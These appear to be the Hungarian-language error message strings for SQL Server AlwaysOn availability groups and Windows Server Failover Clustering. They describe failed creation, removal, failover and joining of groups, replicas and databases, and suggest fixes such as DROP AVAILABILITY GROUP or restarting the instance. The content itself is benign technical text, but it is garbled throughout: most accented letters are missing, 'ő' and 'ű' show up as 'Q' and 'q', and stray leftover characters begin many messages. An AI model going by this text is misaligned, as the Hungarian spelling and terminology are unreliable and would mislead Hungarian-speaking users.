`Nem tallhat a rendelkezsre llsi csoport nevt az azonostjra lekpezQ bejegyzs a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) troljban a kvetkezQ rendelkezsre llsi csoporthoz:  %1!s! . Esetleg helytelen a rendelkezsre llsi csoport neve, vagy a rendelkezsre llsi csoport nem ltezik ebben a Windows Server feladattvteli frtben. GyQzQdjn meg a rendelkezsre llsi csoport ltezsrQl s a rendelkezsre llsi csoport nevnek helyessgrQl, majd prblja jbl elvgezni a mqveletet.

A(z)  %1!s!  adatbzis nem adhat hozz a kvetkezQ rendelkezsre llsi csoporthoz, mert abban mr szerepel egy adatbzis ugyanezen a nven:  %2!s! . GyQzQdjn meg az adatbzis s a rendelkezsre llsi csoport megadott nevnek helyessgrQl.

A(z)  %1!s!  msodpldny nem adhat hozz a kvetkezQ rendelkezsre llsi csoporthoz, mert abban mr szerepel egy msodpldny ugyanezen a nven:  %2!s! . GyQzQdjn meg a msodpldny s a rendelkezsre llsi csoport megadott nevnek helyessgrQl.

DNem sikerlt megszerezni a Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csompont llapott a helyi WSFC-csompontra vonatkozan (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

hA(z)  %2!s!  rendelkezsre llsi csoport  %1!s!  rendelkezsre llsi msodpldnya nem hozhat online llapotra az SQL Server jelen pldnyn. Ugyanannak a rendelkezsre llsi csoportnak egy msik msodpldnya mr online llapot a helyi Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csomponton. Minden egyes WSFC-csompont csak a rendelkezsre llsi csoportok egy-egy msodpldnyt futtathatja a csomponton levQ SQL Server-pldnyok szmtl fggetlenl. Hasznlja az ALTER AVAILABILITY GROUP parancsot a rendelkezsre llsi csoportok konfigurcijnak kijavtshoz. Amikor a msik msodpldny mr nem fut ezen a WSFC-csomponton, indtsa jra az SQL Server jelen pldnyt a rendelkezsre llsi csoport helyi msodpldnynak online llapotra hozshoz.

`Nem sikerlt ltrehozni a Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrst a kvetkezQ nven:  %1!s! . A megadott nevq WSFC-erQforrs mr ltezik. Prblja jbl elvgezni a mqveletet egy olyan erQforrsnv megadsval, amely egyedi a frtben.

A Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) troljbl beolvasott, a rendelkezsre llsi csoportra vonatkoz konfigurcis adatok alapjn generlt ciklikus redundanciasszeg (CRC) rtke nem egyezik meg a(z)  %1!s!  azonostj rendelkezsre llsi csoport adataival trolt rtknek. ElkpzelhetQ, hogy az SQL Server rendszeren kvl mdostottk a rendelkezsre llsi csoportnak a WSFC troljban szereplQ adatait, vagy az adatok srltek. Ha ez a hiba tartsan fennll, akkor esetleg el kell dobnia, s jbl ltre kell hoznia a rendelkezsre llsi csoportot.

A(z)  %1!s!  rendelkezsre llsi csoportnak a helyi adattrolban szereplQ azonostja nem egyezik a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) adattroljban szereplQ azonostval. Esetleg eldobtk s jbl ltrehoztk a rendelkezsre llsi csoportot, mikzben az SQL Server-pldny offline llapotban volt, vagy mikzben a WSFC-csompont zemen kvl volt. A hiba elhrtshoz dobja el, majd hozza ltre jbl a rendelkezsre llsi csoportot.

tA Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) azt szlelte, hogy egy rendelkezsre llsi csoport  %1!s!  azonostj erQforrsa online llapotban volt, mikzben a rendelkezsre llsi csoport tnylegesen nem volt online llapotban. A WSFC-erQforrs llapotnak a rendelkezsre llsi csoport llapotval val szinkronizlsra irnyul ksrlet sikertelen volt (hibakd: %2!s!). ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

Nem sikerlt belltani a helyi csompontot a(z)  %1!s!  azonostj Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csoport kizrlagos, elsQdleges tulajdonosaknt (hibakd: %2!s!). A WSFC-csoport esetleg nincs olyan llapotban, hogy fogadni tudja a krelmet. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs (azonost:  %1!s! ) jelenleg nem llthat online llapotba. A WSFC-erQforrs nincs olyan llapotban, hogy elfogadhassa a krelmet. Vrja meg, amg a WSFC-erQforrs vgllapotba kerl, majd prblja jbl elvgezni a mqveletet. ErrQl a hibrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben, az 5023-as hibakd ismertetsnl.

A Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs (azonost:  %1!s! ) nem llthat online llapotba (hibakd: %2!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve a WSFC-erQforrs nincs olyan llapotban, hogy elfogadhassa a krelmet. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csoport (azonost vagy nv:  %1!s! ) jelenleg nem dobhat el. A WSFC-csoport nincs olyan llapotban, hogy elfogadhassa a krelmet. Vrja meg, amg a WSFC-csoport vgllapotba kerl, majd prblja jbl elvgezni a mqveletet. ErrQl a hibrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben, az 5023-as hibakd ismertetsnl.

\A Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) belltskulcsnak szmbavtele sikertelen volt (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

Nem llapthat meg, hogy lteznek-e rendelkezsre llsi csoportra vonatkoz adatok a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) troljban a kvetkezQ rendelkezsre llsi csoporthoz:  %1!s! . Esetleg nem mqkdik a helyi WSFC-csompont, vagy egy korbbi CREATE AVAILABILITY GROUP vagy DROP AVAILABILITY GROUP mqvelet sikertelenl vgzQdtt. Hasznlja a DROP AVAILABILITY GROUP parancsot a sikertelen korbbi mqveletek maradvnyainak kirtshez. A mqvelet jbli vgrehajtsa elQtt gyQzQdjn meg arrl, hogy mqkdik a helyi WSFC-csompont.

(Nem tallhatk konfigurcis adatok a(z)  %1!s!  Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs-azonostj rendelkezsre llsi csoporthoz a WSFC adattroljban. Esetleg eldobtk a rendelkezsre llsi csoportot, vagy egy korbbi CREATE AVAILABILITY GROUP vagy DROP AVAILABILITY GROUP mqvelet sikertelenl vgzQdtt. Az aktulis mqvelet jbli vgrehajtsa elQtt hasznlja a DROP AVAILABILITY GROUP parancsot a sikertelen korbbi mqveletek maradvnyainak kirtshez.

Nem olvashat annak az AlwaysOn rendelkezsre llsi csoportnak a megQrztt konfigurcija, amelyhez a kvetkezQ Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs-azonost tartozik:  %1!s! . A megQrztt konfigurcit az SQL Server azon ksQbbi verzijval rtk ki, amelyen az elsQdleges rendelkezsre llsi msodpldny fut. Frisstse az SQL Server helyi pldnyt, hogy a helyi rendelkezsre llsi msodpldny msodlagos msodpldnny vlhasson.

A(z)  %1!s!  rendelkezsre llsi csoport helyi adattrolban szereplQ azonostja nem ltezik a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) adattroljban. Esetleg eldobtk a rendelkezsre llsi csoportot az aktulis WSFC-csompont rtestse nlkl. A hiba elhrtshoz prblja jbl ltrehozni a rendelkezsre llsi csoportot.

TA(z)  %1!s!  adatbzis nem tvolthat el a kvetkezQ rendelkezsre llsi csoportbl:  %2!s! . Ez az adatbzis nem tartozik ehhez a rendelkezsre llsi csoporthoz.

A Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csoport (azonost:  %1!s! ) jelenleg nem llthat online llapotba. A WSFC-csoport nincs olyan llapotban, hogy elfogadhassa a krelmet. Vrja meg, amg a WSFC-csoport vgllapotba kerl, majd prblja jbl elvgezni a mqveletet. ErrQl a hibrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben, az 5023-as hibakd ismertetsnl.

|Nem sikerlt trlni a(z)  %1!s!  nvnek megfelelQ Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) belltsrtket, mert nem ltezik belltsbejegyzs a megadott nven. GyQzQdjn meg a belltsrtk nevnek helyessgrQl, majd prblja jbl elvgezni a mqveletet.

A Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csoport (azonost vagy nv:  %1!s! ) nem dobhat el, mert ez a WSFC-csoport nem ltezik. Adja meg egy WSFC-csoport rvnyes azonostjt vagy nevt, majd prblja jbl elvgezni a mqveletet. Az erre a hibra vonatkoz informcirt tekintse t az 5013-as hibakd ismertetst a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban.

Nem sikerlt trlni az SQL Server-pldny nevt a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) csompontjnak nevre lekpezQ bejegyzst a kvetkezQ rendelkezsre llsi csoport helyi rendelkezsre llsi msodpldnynl:  %1!s! . A mqvelet a kvetkezQ SQL Server-hibba tkztt, s le lett lltva: %2!s!. ErrQl az SQL Server-hibrl s az elhrtsra szolgl lpsekrQl az SQL Server hibanapljban olvashat bQvebben.

Nem sikerlt megsemmisteni a kvetkezQ rendelkezsre llsi csoportnak megfelelQ Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csoportot:  %1!s! . A mqvelet a kvetkezQ SQL Server-hibba tkztt, s le lett lltva: %2!s!. ErrQl az SQL Server-hibrl s az elhrtsra szolgl lpsekrQl az SQL Server hibanapljban olvashat bQvebben.

A helyi Windows Server feladattvteli frt nevnek megszerzse sikertelen volt (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

PA frt kvrum-erQforrsnak megszerzse sikertelen volt (hibakd: %1!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

A Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) frtvezrlQ API a kvetkezQ hibakdot adta vissza: %1!s!. Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

|A Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) egyik DWORD tulajdonsga (tulajdonsgnv:  %1!s! ) nem tallhat (hibakd: %2!s!). Esetleg nem fut a WSFC szolgltats, vagy a jelenlegi llapotban nem rhetQ el, illetve rvnytelenek a megadott argumentumok. ErrQl a hibakdrl a Windows fejlesztQi dokumentcijnak  System Error Codes  (Rendszerhibk kdja) cmq szakaszban olvashat bQvebben.

Nem sikerlt beolvasni a Paxos-cmkt a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) belltsjegyzkbeli struktrjbl. Esetleg srlt a WSFC belltsjegyzkbeli struktrja. GyQzQdjn meg arrl, hogy a  HKLM\Cluster\PaxosTag  belltsrtk ltezik a WSFC belltsjegyzkbeli struktrjban.

Hiba trtnt a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) belltsjegyzkbeli struktrjban szereplQ Paxos-cmke elemzsekor. Esetleg srlt a WSFC belltsjegyzkbeli struktrja. GyQzQdjn meg arrl, hogy a  HKLM\Cluster\PaxosTag  belltsrtk formtuma megfelel a Microsoft Tudsbzis KB 947713-as cikkben ( The implications of using the /forcequorum switch to start the Cluster service in Windows Server 2008 ) ismertetett formtumnak.

DNem sikerlt megllaptani, hogy a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) Kvrum knyszertse llapotban van-e. Esetleg mg nincs teleptve az elQfelttelknt szksges KB 2494036 jelq QFE-gyorsjavts a Windows Server 2008/Windows Server 2008 R2 rendszereken. Tovbbi informcirt tekintse t a Microsoft Tudsbzis KB 2494036-os cikkt ( A hotfix is available to let you configure a cluster node that does not have quorum votes in Windows Server 2008 and in Windows Server 2008 R2 ).

A kvetkezQ rendelkezsre llsi csoport s/vagy annak helyi rendelkezsre llsi msodpldnya nem ltezik:  %1!s! . GyQzQdjn meg a rendelkezsre llsi csoport megadott nevnek helyessgrQl, valamint arrl, hogy a helyi rendelkezsre llsi msodpldny csatlakoztatva van a rendelkezsre llsi csoporthoz, majd prblja jbl elvgezni a mqveletet.

A kvetkezQ Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs-azonostj rendelkezsre llsi csoport s/vagy annak helyi rendelkezsre llsi msodpldnya nem ltezik:  %1!s! . GyQzQdjn meg a megadott rendelkezsre llsi erQforrs-azonost helyessgrQl, valamint arrl, hogy a helyi rendelkezsre llsi msodpldny csatlakoztatva van a rendelkezsre llsi csoporthoz, majd prblja jbl elvgezni a mqveletet.

0A(z)  %1!s!  rendelkezsre llsi csoport feladatainak a helyi msodpldny ltali tvtele sikertelen volt, mert a rendelkezsre llsi csoport erQforrsa egy korbbi hiba miatt nem kerlt online llapotba. A korbbi hiba azonostshoz tekintse t az SQL Server hibanapljt s a Windows Server feladattvteli frt naplit, illetve a rendszer esemnynaplit. A Windows Server dokumentcijban bQvebben olvashat arrl, hogyan tekintheti meg egy Windows Server feladattvteli frtszolgltatsi (WSFC) frt esemnyeit s naplit.

\Nem sikerlt ltrehozni a Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrst  %1!s!  nven s  %2!s!  tpussal. Az erQforrstpus nincs bejegyezve a WSFC-frtn. Esetleg megsemmistettk, majd jbl ltrehoztk a WSFC-frtt. Az erQforrstpusnak a WSFC-frtn val bejegyzshez tiltsa le, majd engedlyezze jbl az AlwaysOn funkcit az SQL Server KonfigurcikezelQben.

Nem hozhat ltre rendelkezsre llsi msodpldny a kvetkezQ rendelkezsre llsi csoporthoz:  %1!s! . A megadott rendelkezsre llsi csoport egy rendelkezsre llsi msodpldnya mr ltezik az SQL Server e pldnyn. GyQzQdjn meg a rendelkezsre llsi csoport megadott nevnek helyessgrQl s egyedisgrQl, majd prblja jbl elvgezni a mqveletet. A ltezQ rendelkezsre llsi msodpldny eltvoltshoz futtassa a DROP AVAILABILITY GROUP parancsot.

A(z)  %1!s!  rendelkezsre llsi csoport nem tudta ltrehozni a szksges esemnyeket a WSFC brleti mechanizmushoz. A Windows hibakdot (%2!s!) adott vissza, amikor megprblta megszerezni a brleti esemnyek lerjt. Hrtsa el a Windows-hibt, majd prblja jbl elvgezni a rendelkezsre llsi csoportokkal kapcsolatos mqveletet.

Hiba trtnt a kvetkezQ rendelkezsre llsi csoport eltvoltsa sorn:  %1!s! . A DROP AVAILABILITY GROUP parancs eltvoltotta a rendelkezsre llsi csoport konfigurcijt a helyi metaadatok kzl. Azonban sikertelen volt a konfigurcinak a Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) frtbQl val eltvoltsra irnyul ksrlet, mert az AlwaysOn rendelkezsre llsi csoportok kezelQje nem online llapot (SQL Server-hiba: %2!s!). A rendelkezsre llsi csoport konfigurcijnak a WSFC-frtbQl val eltvoltshoz adja ki a parancsot jbl.

DNem sikerlt sorba lltani egy feladatot (SQL OS-hiba: 0x%1!s!) a kvetkezQ nevq rendelkezsre llsi csoportra vonatkoz folyamatmqveletekhez:  %2!s! . Valsznqleg az SQL Server pldnynak nincs elegendQ erQforrsa. A hiba oknak megllaptshoz ellenQrizze az SQL Server hibanapljt. KsQbb prblja jbl elvgezni a mqveletet, s ha az llapot tartsan fennll, forduljon az adatbzis rendszergazdjhoz.

Nem trtnt meg a rendelkezsre llsi csoportok szmra szksges egyik Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) API betltse. Az AlwaysOn rendelkezsre llsi csoportok msodpldny-kezelQje nincs engedlyezve az SQL Server helyi pldnyn. Ha a kiszolglpldny az SQL Server olyan kiadst futtatja, amely tmogatja az AlwaysOn rendelkezsre llsi csoportokat, akkor az SQL Server KonfigurcikezelQ hasznlatval engedlyezheti azt.

A(z)  %1!s!  rendelkezsre llsi csoport feladatai nem adhatk t az SQL Server ezen pldnynak, mert egy feladattvteli parancs vgrehajtsa mr fggQben van ennek a rendelkezsre llsi csoportnak a helyi msodpldnynl. Vrja meg a fggQben levQ feladattvteli parancs befejezQdst, mielQtt msik parancsot ad ki ennek a rendelkezsre llsi csoportnak a helyi msodpldnyn.

Nem hozhat ltre  %1!s!  nevq rendelkezsre llsi csoport, mert mr ltezik ilyen egy rendszertblban.

HA(z)  %1!s!  nevq rendelkezsre llsi csoport nem hozhat ltre, mert a rendelkezsre llsi csoport azonostja ( %2!s! ) mr ltezik egy rendszertblban.	

8Nem hozhat ltre  %1!s!  nevq rendelkezsre llsi csoport  %2!s!  msodpldny-azonostval, mert ez az azonost mr ltezik egy rendszertblban.	

A helyi adatbzis %1!s! azonostja nem kpezhetQ le a rendelkezsre llsi adatbzis  %2!s!  azonostjra a(z)  %3!s!  rendelkezsre llsi csoporton bell. Ez az adatbzis mr le van kpezve egy rendelkezsre llsi csoportra.	

A(z) %1!s! adatbzis-azonost nem kpezhetQ le a rendelkezsre llsi adatbzis  %2!s!  azonostjra a(z)  %3!s!  rendelkezsre llsi csoporton bell. Egy msik helyi adatbzis (azonost: %4!s!) mr le van kpezve erre a rendelkezsre llsi adatbzisra.	

Nem tallhat a kvetkezQ azonostj rendelkezsre llsi csoport a rendszertblban: %1!s!.	

xNem sikerlt elindtani egy feladatot a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) helyi csompontjnak lellsra vonatkoz figyelmeztets feldolgozshoz (SQL OS-hiba: %1!s!). A lehetsges ok, hogy nincs elrhetQ munkavgzQ szl, vagy nincs elegendQ memria. EllenQrizze a helyi WSFC-csompont llapott. Ha a problma tartsan fennll, esetleg jra kell indtani az SQL Server pldnyt.

A(z)  %1!s!  rendelkezsre llsi csoport feladatai nem adhatk t az SQL Server ezen pldnynak. A helyi rendelkezsre llsi msodpldny mr a rendelkezsre llsi csoport elsQdleges msodpldnya. Ezen rendelkezsre llsi csoport feladatainak egy msik SQL Server-pldnyra val tadshoz futtassa a feladattvteli parancsot az SQL Server azon pldnyn. Ha az SQL Server helyi pldnyn kvnja futtatni a rendelkezsre llsi csoport elsQdleges msodpldnyt, akkor nincs szksg felhasznli beavatkozsra.

XA kvetkezQ rendelkezsre llsi csoport helyi rendelkezsre llsi msodpldnyn elvgezni kvnt mqvelet vgrehajtsa sikertelen volt:  %1!s! . A rendelkezsre llsi csoport konfigurcijnak helyi msolata nem ltezik, vagy nem lett inicializlva. GyQzQdjn meg a rendelkezsre llsi csoport ltezsrQl, valamint arrl, hogy a konfigurci helyi msolata inicializlva van, majd prblja jbl elvgezni a mqveletet.

\Ksrlet trtnt egy adatbzis lekpezsi llapotnak belltsra gy, hogy a helyi adatbzis %1!s! azonostja egyetlen rendelkezsre llsi csoportra sincs lekpezve.

dNem sikerlt vgrehajtani a(z)  %1!s!  adatbzis-mqveletet a(z)  %2!s!  adatbzison (azonost: %3!s!) a kvetkezQ rendelkezsre llsi csoportban:  %4!s! . Az adatbzis esetleg nincs megfelelQ llapotban a mqvelethez. Ha a problma tartsan fennll, esetleg jra kell indtani az SQL Server-pldnyt.

Nem sikerlt betemezni vagy vgrehajtani a(z)  %1!s!  adatbzis-mqveletet a(z)  %2!s!  adatbzison (adatbzis-azonost: %3!s!) a kvetkezQ rendelkezsre llsi csoportban:  %4!s!  (SQL OS-hiba: %5!s!). Az SQL Server pldnya esetleg nem rendelkezik elegendQ erQforrssal az adatbzis-mqvelet elvgzshez. Ha a problma tartsan fennll, esetleg jra kell indtani a kiszolglpldnyt.

,Sikertelen volt a(z)  %1!s!  mqvelet elvgzse a(z)  %2!s!  adatbzison (adatbzis-azonost: %3!s!) a kvetkezQ rendelkezsre llsi csoportban:  %4!s! . SQL Server-hiba: %5!s! (a hiba rszletei: %6!s!). A mqvelet vissza lett lltva. Tovbbi rszletek az SQL Server hibanapljnak korbbi hibazeneteiben tallhatk. Ha a problma tartsan fennll, esetleg jra kell indtani az SQL Server-pldnyt.

hA(z)  %1!s!  adatbzis nem csatlakoztathat a kvetkezQ rendelkezsre llsi csoporthoz:  %2!s! . A megadott adatbzis nem tartozik a rendelkezsre llsi csoporthoz. EllenQrizze az adatbzis s a rendelkezsre llsi csoport nevt, s a helyes nevek megadsval prblja jbl vgrehajtani a parancsot.

TA(z)  %1!s!  rendelkezsre llsi csoport nem llthat online llapotba. A helyi pldny nem az elQzQ elsQdleges msodpldny volt, amikor a rendelkezsre llsi csoport offline llapotba kerlt, nincs szinkronizlva az sszes adatbzis, s nem lett kiadva knyszertett feladattvteli parancs a helyi rendelkezsre llsi msodpldnyon. Ha ki szeretn jellni a helyi rendelkezsre llsi msodpldnyt a rendelkezsre llsi csoport elsQdleges msodpldnynak, futtassa a knyszertett feladattvteli parancsot az SQL Server jelen pldnyn.

Nem sikerlt csatlakoztatni a rendelkezsre llsi msodpldnyt a kvetkezQ rendelkezsre llsi csoporthoz, mert a csoport nem online llapot:  %1!s! . lltsa online llapotra a rendelkezsre llsi csoportot, vagy dobja el, s hozza ltre jbl. Ezt kvetQen prblja jbl elvgezni a csatlakoztatsi mqveletet.

Nem fogadhat el a(z)  %2!s!  rendelkezsre llsi csoport  %1!s!  adatbzisra vonatkoz, AlwaysOn rendelkezsre llsi csoportokkal kapcsolatos mqvelet. Az adatbzis jelenleg egy msik mqvelet feldolgozst vgzi, amely mdosthatja az adatbzis llapott. KsQbb prblja jbl elvgezni a mqveletet. Ha az llapot tartsan fennll, forduljon az adatbzis rendszergazdjhoz.

A(z)  %1!s!  rendelkezsre llsi csoport nem tudja feldolgozni az ALTER AVAILABILITY GROUP parancsot, mert a helyi rendelkezsre llsi msodpldny nem az elsQdleges msodpldny. Kapcsoldjon ahhoz a kiszolglpldnyhoz, amely jelenleg futtatja ezen rendelkezsre llsi csoport elsQdleges msodpldnyt, majd futtassa jra a parancsot.

Nem sikerlt belltani a rendelkezsre llsi csoport adatbzis-informciit a kvetkezQ rendelkezsre llsi csoportnl: %1!s!. A helyi rendelkezsre llsi msodpldny nem az elsQdleges msodpldny, vagy folyamatban van a lelltsa. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

HA(z)  %1!s!  rendelkezsre llsi csoport ezen az SQL Server-pldnyon levQ rendelkezsre llsi msodpldnya nem vlhat elsQdleges msodpldnny. Egy vagy tbb adatbzis nincs szinkronizlva, vagy nincs csatlakoztatva a rendelkezsre llsi csoporthoz, illetve a WSFC-frt Kvrum knyszertse mdban lett elindtva. Ha a frt Kvrum knyszertse mdban lett elindtva, vagy ha a rendelkezsre llsi msodpldny aszinkron vglegestsi mdot hasznl, fontolja meg knyszertett kzi feladattvtel elvgzst (ez adatvesztssel jrhat). Egyb esetben, ha mr az sszes helyi msodlagos adatbzis csatlakoztatva s szinkronizlva van, tervezett kzi feladattvtelt is vgezhet erre a msodlagos msodpldnyra (adatveszts nlkl). Tovbbi informci az SQL Server online knyvekben olvashat.

A mqvelet nem dolgozhat fel. A(z)  %1!s!  rendelkezsre llsi csoport helyi msodpldnya hibs llapotban van. Sikertelen volt egy korbbi, a rendelkezsre llsi csoport megQrztt konfigurcis adatainak olvassra vagy frisstsre irnyul mqvelet. A hiballapotbl val visszatrshez indtsa jra a helyi Windows Server feladattvteli frtszolgltatst (Windows Server Failover Clustering  WSFC), vagy indtsa jra az SQL Server helyi pldnyt.

HA(z)  %1!s!  rendelkezsre llsi csoport helyi rendelkezsre llsi msodpldnya hibs llapotban van. A msodpldny nem tudta olvasni vagy frissteni a megQrztt konfigurcis adatokat (SQL Server-hiba: %2!s!). A hiballapotbl val visszatrshez indtsa jra a helyi Windows Server feladattvteli frtszolgltatst (Windows Server Failover Clustering  WSFC), vagy indtsa jra az SQL Server helyi pldnyt.

Nem sikerlt online llapotba lltani a kvetkezQ rendelkezsre llsi csoportot:  %1!s! . Esetleg nem fut a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC), vagy a jelenlegi llapotban nem rhetQ el. GyQzQdjn meg arrl, hogy mqkdik a helyi WSFC-csompont, majd prblja jbl elvgezni a mqveletet.

A(z)  %1!s!  adatbzis nem adhat hozz vagy csatlakoztathat a kvetkezQ rendelkezsre llsi csoporthoz:  %2!s! . Az adatbzis nem ltezik az SQL Server ezen pldnyn. GyQzQdjn meg az adatbzisnv helyessgrQl, valamint arrl, hogy az adatbzis ltezik a kiszolglpldnyon. Majd a helyes adatbzisnv megadsval prblja jbl elvgezni a mqveletet.

A(z)  %1!s!  rendelkezsre llsi csoporton vgzett mqvelet meg lett szaktva, vagy le lett lltva, egy kapcsolat idQtllpse vagy a felhasznl ltali megszakts miatt. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Nem sikerlt offline llapotba lltani a kvetkezQ rendelkezsre llsi csoportot:  %1!s! . Esetleg nem fut a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC), vagy a jelenlegi llapotban nem rhetQ el. GyQzQdjn meg arrl, hogy a helyi WSFC-csompont mqkdik, majd prblja jbl elvgezni a mqveletet.

lHiba trtnt a rendelkezsre llsi csoportok kezelQjnek elrsekor. A rendelkezsre llsi csoportok helyi kezelQje nem lett inicializlva. Vrja meg, hogy a rendelkezsre llsi csoportok kezelQje olyan llapotba kerljn, amely lehetQv teszi a hozzfrst, majd prblja jbl elvgezni a mqveletet.

A kvetkezQ rendelkezsre llsi csoport ltrehozsa sikertelen volt:  %1!s! . A mqvelet a kvetkezQ SQL Server-hibba tkztt, s vissza lett lltva: %2!s!. A hibrl az SQL Server hibanaplja tartalmaz tovbbi rszleteket. A hiba oknak elhrtsa utn prblja jbl vgrehajtani a CREATE AVAILABILITY GROUP parancsot.

A kvetkezQ rendelkezsre llsi csoport ltrehozsa sikertelen volt:  %1!s! . A mqvelet a kvetkezQ SQL Server-hibba tkztt: %2!s!. A mqvelet visszalltsra irnyul ksrlet sikertelen volt. A hibrl az SQL Server hibanaplja tartalmaz tovbbi rszleteket. Hajtsa vgre a DROP AVAILABILITY GROUP parancsot, hogy eltvoltson minden metaadatot, amely a rendelkezsre llsi csoport ltrehozsra irnyul sikertelen ksrlet utn esetleg megmaradt.

A kvetkezQ rendelkezsre llsi csoport feladatai nem adhatk t erre az SQL Server-pldnyra:  %1!s! . Mg folyamatban van a rendelkezsre llsi csoport ltrehozsa. GyQzQdjn meg a rendelkezsre llsi csoport megadott nevnek helyessgrQl. Vrja meg a CREATE AVAILABILITY GROUP parancs futsnak befejezQdst, majd prblja jbl elvgezni a mqveletet.

A kvetkezQ rendelkezsre llsi csoport feladatai nem adhatk t erre az SQL Server-pldnyra:  %1!s! . Folyamatban van a rendelkezsre llsi csoport eldobsa. GyQzQdjn meg a rendelkezsre llsi csoport megadott nevnek helyessgrQl. Esetleg jra ltre kell majd hozni a rendelkezsre llsi csoportot, ha az eldobsi mqvelet nem volt szndkos.

A kvetkezQ rendelkezsre llsi csoport nem dobhat el errQl az SQL Server-pldnyrl:  %1!s! . Vagy folyamatban van a rendelkezsre llsi csoport eldobsa, vagy ppen eltvoltjk a helyi rendelkezsre llsi msodpldnyt a rendelkezsre llsi csoportbl. GyQzQdjn meg a rendelkezsre llsi csoport megadott nevnek helyessgrQl. Vrja meg az aktulis mqvelet befejezQdst, majd szksg esetn prblja megismtelni a parancs vgrehajtst.

A kvetkezQ rendelkezsre llsi csoport helyi rendelkezsre llsi msodpldnya nem tvolthat el az SQL Server jelen pldnybl:  %1!s! . Vagy folyamatban van a rendelkezsre llsi csoport eldobsa, vagy ppen levlasztjk a helyi rendelkezsre llsi msodpldnyt. GyQzQdjn meg a rendelkezsre llsi csoport megadott nevnek helyessgrQl. Vrja meg az aktulis mqvelet befejezQdst, majd szksg esetn prblja megismtelni a parancs vgrehajtst.

A helyi rendelkezsre llsi msodpldny csatlakoztatsa a kvetkezQ rendelkezsre llsi csoporthoz sikertelen volt:  %1!s! . A mqvelet a kvetkezQ SQL Server-hibba tkztt, s vissza lett lltva: %2!s!. A hibrl az SQL Server hibanaplja tartalmaz tovbbi rszleteket. A hiba oknak elhrtsa utn prblja jbl vgrehajtani az ALTER AVAILABILITY GROUP JOIN parancsot.

